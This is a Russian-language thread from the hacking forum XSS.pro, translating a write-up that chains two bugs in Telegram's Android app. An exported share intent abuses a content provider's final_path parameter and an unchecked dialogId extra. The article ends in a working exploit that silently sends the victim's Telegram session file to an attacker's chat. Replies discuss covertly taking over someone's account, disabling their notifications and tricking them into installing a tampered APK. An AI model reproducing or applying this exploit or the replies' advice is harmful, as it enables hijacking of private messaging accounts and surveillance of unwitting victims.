• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Цепочка ошибок Telegram для кражи файлов, связанных с сеансом.

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro плюс немного отсебятины для нашего развития
$10 на gas для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09

Мы обсудим цепочку двух багов в андроид-приложении Telegram, из-за которых вредоносные приложения могут воровать внутренние файлы Telegram, включая сессию.

Совместное использование
Почти во всех мессенджерах есть активность, которая может получать контент любого типа, такой как изображения, видео, текст и т. д., и пересылать этот контент в чат или ветку в приложении. Например, откройте галерею на своем телефоне, выберите фотографию, нажмите «Поделиться» или «Открыть с помощью», вы увидите всплывающее окно с некоторыми приложениями на вашем устройстве, эти приложения появляются, потому что все они имеют общий доступ. активность, которая может получать изображения, точно так же, как телеграмм:

Код:
<activity
            android:name="org.telegram.ui.LaunchActivity"
            android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
            android:hardwareAccelerated="@bool/useHardwareAcceleration"
            android:launchMode="singleTask"
            android:windowSoftInputMode="adjustPan">
    .......
    <intent-filter>
        <action android:name="android.intent.action.SEND"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:mimeType="image/*"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.SEND"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:mimeType="video/*"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.SEND_MULTIPLE"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:mimeType="image/*"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.SEND"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:mimeType="text/plain"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.SEND"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:mimeType="*/*"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.SEND_MULTIPLE"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:mimeType="*/*"/>
    </intent-filter>
    ........
</activity>


Как мы видим в <intent-filter>, LaunchActivity в телеграмм могут обрабатывать данные с mimeType: video/*, image/*, text/plain, */*

Функция ошибки безопасности

Прежде чем углубляться в то, как эта функция может работать неправильно, мы должны выяснить что происходит при отправке изображения в приложение, или что происходит в вашем приложении галереи, когда вы решили поделиться изображением, вот пример

Код:
final Intent shareIntent = new Intent(Intent.ACTION_SEND);
shareIntent.setType("image/jpg");
shareIntent.setComponent(new ComponentName("org.telegram.messenger", "org.telegram.ui.LaunchActivity"));
shareIntent.putExtra(Intent.EXTRA_STREAM, Uri.parse("file:///sdcard/Images/sayed.jpg"));
startActivity(Intent.createChooser(shareIntent, "Share image using"));


Приведенный выше код показывает, что именно отправляется в любую активность общего доступа, он отправляет Uri файла, но не содержимого файла, и когда LaunchActivity в телеграмме получает, что Uri файл будет открыт в контексте телеграммы и покажет пользователю активность списка чатов, чтобы пользователь мог выбрать чат для отправки файла.

Теперь, это хорошая идея, чтобы обмануть приложение телеграммы и вместо отправки Uri файла на SD-карте, мы отправим путь к внутреннему файлу в телеграмме.

Можешь обойти?


Код:
final Intent shareIntent = new Intent(Intent.ACTION_SEND);
shareIntent.setType("image/jpg");
shareIntent.setComponent(new ComponentName("org.telegram.messenger", "org.telegram.ui.LaunchActivity"));
shareIntent.putExtra(Intent.EXTRA_STREAM, Uri.parse("file:///data/data/org.telegram.messenger/shared_prefs/userconfing.xml"));
startActivity(Intent.createChooser(shareIntent, "Share image using"));

приведенный выше код приказывает приложению телеграммы поделиться /data/data/org.telegram.messenger/shared_prefs/userconfing.xml файл для чата, но при запуске этого кода телеграмма показывает тост с сообщением: Unsupported content.

Код:
private boolean handleIntent(Intent intent, boolean isNew, boolean restore, boolean fromPassword) {
  .......
  Parcelable parcelable = intent.getParcelableExtra(Intent.EXTRA_STREAM);
  if (parcelable != null) {
    String path;
    if (!(parcelable instanceof Uri)) {
      parcelable = Uri.parse(parcelable.toString());
    }
    Uri uri = (Uri) parcelable;
    if (uri != null) {
      if (AndroidUtilities.isInternalUri(uri)) {
        error = true;
      }
    }
    if (!error) {
      ....
    }
  } else if (....) {
    ....
  }
}
if (error) {
  Toast.makeText(this, "Unsupported content", Toast.LENGTH_SHORT).show();
}
.......
}


происходит проверка если Uri ссылается на внутренний файл методом AndroidUtilities.isInternalUri:

Код:
public static boolean isInternalUri(Uri uri) {
  String pathString = uri.getPath();
  if (pathString == null) {
    return false;
  }
  // Allow sending VoIP logs from cache/voip_logs
  if (pathString.matches(Pattern.quote(new File(ApplicationLoader.applicationContext.getCacheDir(), "voip_logs").getAbsolutePath()) + "/\\d+\\.log")) {
    return false;
  }
  int tries = 0;
  while (true) {
    if (pathString != null && pathString.length() > 4096) {
      return true;
    }
    String newPath;
    try {
      newPath = Utilities.readlink(pathString);
    } catch (Throwable e) {
      return true;
    }
    if (newPath == null || newPath.equals(pathString)) {
      break;
    }
    pathString = newPath;
    tries++;
    if (tries >= 10) {
      return true;
    }
  }
  if (pathString != null) {
    try {
      String path = new File(pathString).getCanonicalPath();
      if (path != null) {
        pathString = path;
      }
    } catch (Exception e) {
      pathString.replace("/./", "/");
      //igonre
    }
  }
  if (pathString.endsWith(".attheme")) {
    return false;
  }
  return pathString != null && pathString.toLowerCase().contains("/data/data/" + ApplicationLoader.applicationContext.getPackageName());
}

Неделю пытался обойти этот метод, безрезультатно. Хм, расслабьтесь нам не нужно обходить этот метод, чтобы завершить атаку!

Как телеграмм на самом деле открывает файл из Uri который мы отправили? на самом деле, после Uri следует метод isInternalUri на который он будет пересылать copyFileToCache, название его понятно, он скопирует файл в кеш, но как?

Код:
public static String copyFileToCache(Uri uri, String ext) {
        ........
            inputStream = ApplicationLoader.applicationContext.getContentResolver().openInputStream(uri);
        ........
}

Он открывает Uriпо openInputStream, а это значит, что он может открыть Uri, это дает нам возможность отправить провайдеру Uri вместо файловой схемы Uri.
Я проверил поставщиков телеграмм и нашел поставщика, который может ссылаться на внутренний файл телеграммы и передавать isInternalUri. Проверьте.

Код:
<provider
            android:authorities="${applicationId}.notification_image_provider"
            android:name=".NotificationImageProvider"
            android:exported="false"
            android:grantUriPermissions="true"/>

Код:
@Nullable
    @Override
    public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String mode) throws FileNotFoundException {
        ........
        if (matcher.match(uri) == 1) { // content://org.telegram..../msg_media_raw/account/filename.ext
            ........
            String finalPath = uri.getQueryParameter("final_path");
            ........
            if (finalFile.exists()) {
                return ParcelFileDescriptor.open(finalFile, ParcelFileDescriptor.MODE_READ_ONLY);
         ........


в openFile берет путь к файлу из параметра final_path и возвращает ParcelFileDescriptor этого файла.
Следующий поставщик Uri content://org.telegram.messenger.notification_image_provider/msg_media_raw/1/test.txt?final_path=/data/data/org.telegram.messenger/shared_prefs/userconfing.xmlотносится к /data/data/org.telegram.messenger/shared_prefs/userconfing.xml

И это проходит методом isInternalUri

Код:
final Intent shareIntent = new Intent(Intent.ACTION_SEND);
shareIntent.setType("image/jpg");
shareIntent.setComponent(new ComponentName("org.telegram.messenger", "org.telegram.ui.LaunchActivity"));
shareIntent.putExtra(Intent.EXTRA_STREAM, Uri.parse("content://org.telegram.messenger.notification_image_provider/msg_media_raw/1/test.txt?final_path=/data/data/org.telegram.messenger/shared_prefs/userconfing.xml"));
startActivity(Intent.createChooser(shareIntent, "Share image using"));

Приведенный выше код заставит телеграмм открыть внутренний файл и поделиться им в чате, но в каком чате? Это по-прежнему требует интенсивного взаимодействия, которое заставляет пользователя выбирать чат злоумышленника. Невозможно.

Новая функция, плохая реализация.

ChooserTargetService— это новая функция, появившаяся в Android API 7 лет назад. Во всплывающем окне, которое показывает вам все приложения, в которые вы можете отправить свой файл, что-то новое появилось в этом списке, который представляет собой список конкретных людей в. конкретных приложений, вы можете отправить им файл напрямую, нажав на их изображения.

1663381498992.png


Чтобы реализовать эту функцию в своем приложении, вы реализуете новую службу, которая расширяет ChooserTargetService и он будет использоваться, чтобы сообщить ОС об элементах или людях, которые нужно перечислить в этом всплывающем окне:

Код:
public class SampleChooserTargetService extends ChooserTargetService {
  @Override
  public List<ChooserTarget> onGetChooserTargets(ComponentName targetActivityName, IntentFilter matchedFilter) {
    final List<ChooserTarget> targets = new ArrayList<>();
    for (int i = 0; i < length; i++) {
      final String targetName = ...
      final Icon targetIcon = ...
      final float targetRanking = ...
      final ComponentName targetComponentName = ...
      final Bundle targetExtras = ...
      targets.add(new ChooserTarget(
          targetName, targetIcon, targetRanking, targetComponentName, targetExtras
      ));
    }
    return targets;
  }
}

И в действии «Общий доступ» вам придется обрабатывать новую дополнительную информацию, и эта дополнительная функция будет идентификатором чата или идентификатором потока для отправки контента непосредственно в него.
Но этой реализации не хватает безопасности. Как SharingActivity знает, было ли намерение прямого обмена заполнено или нет? Если какое-либо приложение отправляет намерение обмена в его реализацию и устанавливает дополнительный идентификатор целевого чата для любого идентификатора чата, приложение отправит файл непосредственно в этот чат без взаимодействия с пользователем!

У Telegram была такая же проблема, отправив dialogId дополнительно с любым идентификатором чата в приложение телеграммы, оно отправит сообщение или файл прямо в этот чат без какого-либо взаимодействия с пользователем.

Последний эксплойт

Код:
String CacheFileName = UUID.randomUUID().toString();
String FileToSteal = "/data/data/org.telegram.messenger/shared_prefs/userconfing.xml";
Intent intent = new Intent();
intent.setAction(Intent.ACTION_SEND);
intent.setType("application/octet-stream");
intetn.putExtra("dialogId", 100000000);
intent.setComponent(new ComponentName("org.telegram.messenger", "org.telegram.ui.LaunchActivity"));
intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("content://org.telegram.messenger.notification_image_provider/msg_media_raw/1/"+CacheFileName+".txt?final_path="+FileToSteal));
startActivity(intent);

Приведенный выше код будет использовать две ошибки и отправлять /data/data/org.telegram.messenger/shared_prefs/userconfing.xml файлу id 100000000 напрямую без взаимодействия с пользователем. Чтобы воспроизвести полный эксплойт, понизьте версию телеграммы до 5.4.0.
 
Последнее редактирование:
не понял вопрос, переформулируй
Чтоб не создавалась дополнительная сессия и не приходило уведомление о том что кто-то ещё зашёл в акаунт.
Picsart_22-09-17_07-27-50-077.jpg
 
в телефоне подопытного:
выключить уведомления телеги
заставить его переустановить телеграмим из твоего источника в котором будет .apk с вырезанной функцией
есть еще вроде прооги которые скринят экран в обычном состоянии и "показывают" пользователю пока ты делаешь свои дела

в любом случае вопрос к андроид-кодеру
 
Nice Article Jolah,

This should go in https://xss.pro/forums/145/.
The main thing is that it's easy to read and understand
 
заставить его переустановить телеграмим из твоего источника в котором будет .apk с вырезанной функцией
Нельзя, хэш сумма не совпадёт.
есть еще вроде прооги которые скринят экран в обычном состоянии и "показывают" пользователю пока ты делаешь свои дела
Telegram позволяет блокировать скрины в приложении, в настройках пин-кода есть функция.
 
Нельзя, хэш сумма не совпадёт.
подтягиваются понимающие. Какой вариант еще есть?
 
Чтоб не создавалась дополнительная сессия и не приходило уведомление о том что кто-то ещё зашёл в акаунт.
Сессию если угнал, она не будет видна пользователю. Одна сессия будет работать на двух устройствах. Каждый пользователь будет видеть своё устройство.
 
Чтобы воспроизвести полный эксплойт, понизьте версию телеграммы до 5.4.0.
Нашёл уязвимость сам? Telegram заплатил за уязвимость или почему нужно понижать версию, кто-то им подсказал про уязвимость?

Update: Увидел оформление вначале статьи, вопрос снимаю.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх